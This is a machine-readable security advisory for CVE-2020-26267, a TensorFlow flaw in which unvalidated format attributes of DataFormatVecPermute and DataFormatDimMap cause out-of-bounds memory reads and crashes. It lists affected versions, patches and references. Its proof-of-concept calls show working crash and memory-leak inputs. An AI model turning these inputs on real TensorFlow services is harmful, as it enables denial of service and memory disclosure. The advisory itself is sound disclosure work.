{"schema_version":"1.7.5","id":"GHSA-c9f3-9wfr-wgh7","published":"2020-12-10T19:07:26Z","modified":"2026-03-13T22:15:21.864722Z","aliases":["BIT-tensorflow-2020-26267","CVE-2020-26267","PYSEC-2020-140","PYSEC-2020-298","PYSEC-2020-333"],"related":["CVE-2020-26267"],"summary":"Lack of validation in data format attributes in TensorFlow","details":"### Impact\nThe `tf.raw_ops.DataFormatVecPermute` API does not validate the `src_format` and `dst_format` attributes. [The code](https://github.com/tensorflow/tensorflow/blob/304b96815324e6a73d046df10df6626d63ac12ad/tensorflow/core/kernels/data_format_ops.cc) assumes that these two arguments define a permutation of `NHWC`.\n\nHowever, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.\n\n```python\n>>> import tensorflow as tf\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')\n<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')\n<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')\n<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], \n                                    src_format='1234', dst_format='1253')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='1234', dst_format='1223')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='1224', dst_format='1423')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='12345678', dst_format='87654321')\nmunmap_chunk(): invalid pointer\nAborted\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           \n                                    src_format='12345678', dst_format='87654321')\n<tf.Tensor: shape=(4, 2), dtype=int32, numpy=\narray([[71364624,        0],\n       [71365824,        0],\n       [     560,        0],\n       [      48,        0]], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], \n                                    src_format='12345678', dst_format='87654321')\nfree(): invalid next size (fast)\nAborted\n```\n\nA similar issue occurs in `tf.raw_ops.DataFormatDimMap`, for the same reasons:\n\n```python\n>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',\n>>> dst_format='8765')\n<tf.Tensor: shape=(4, 2), dtype=int32, numpy=\narray([[1954047348, 1954047348],\n       [1852793646, 1852793646],\n       [1954047348, 1954047348],\n       [1852793632, 1852793632]], dtype=int32)>\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ebc70b7a592420d3d2f359e4b1694c236b82c7ae](https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","affected":[{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.15.5"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.4"}]}],"versions":["2.0.0","2.0.1","2.0.2","2.0.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.0"},{"fixed":"2.1.3"}]}],"versions":["2.1.0","2.1.1","2.1.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.2"}]}],"versions":["2.2.0","2.2.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.2"}]}],"versions":["2.3.0","2.3.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.15.5"}]}],"versions":["1.15.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.0"},{"fixed":"2.1.3"}]}],"versions":["2.1.0","2.1.1","2.1.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.2"}]}],"versions":["2.2.0","2.2.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.2"}]}],"versions":["2.3.0","2.3.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.15.5"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.4"}]}],"versions":["2.0.0","2.0.1","2.0.2","2.0.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.0"},{"fixed":"2.1.3"}]}],"versions":["2.1.0","2.1.1","2.1.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.2"}]}],"versions":["2.2.0","2.2.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.2"}]}],"versions":["2.3.0","2.3.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json"}}],"references":[{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c9f3-9wfr-wgh7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-26267"},{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-298.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-333.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-140.yaml"},{"type":"PACKAGE","url":"https://github.com/tensorflow/tensorflow"}],"database_specific":{"cwe_ids":["CWE-125"],"github_reviewed":true,"github_reviewed_at":"2020-12-10T19:05:08Z","nvd_published_at":"2020-12-10T23:15:00Z","severity":"LOW"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}]}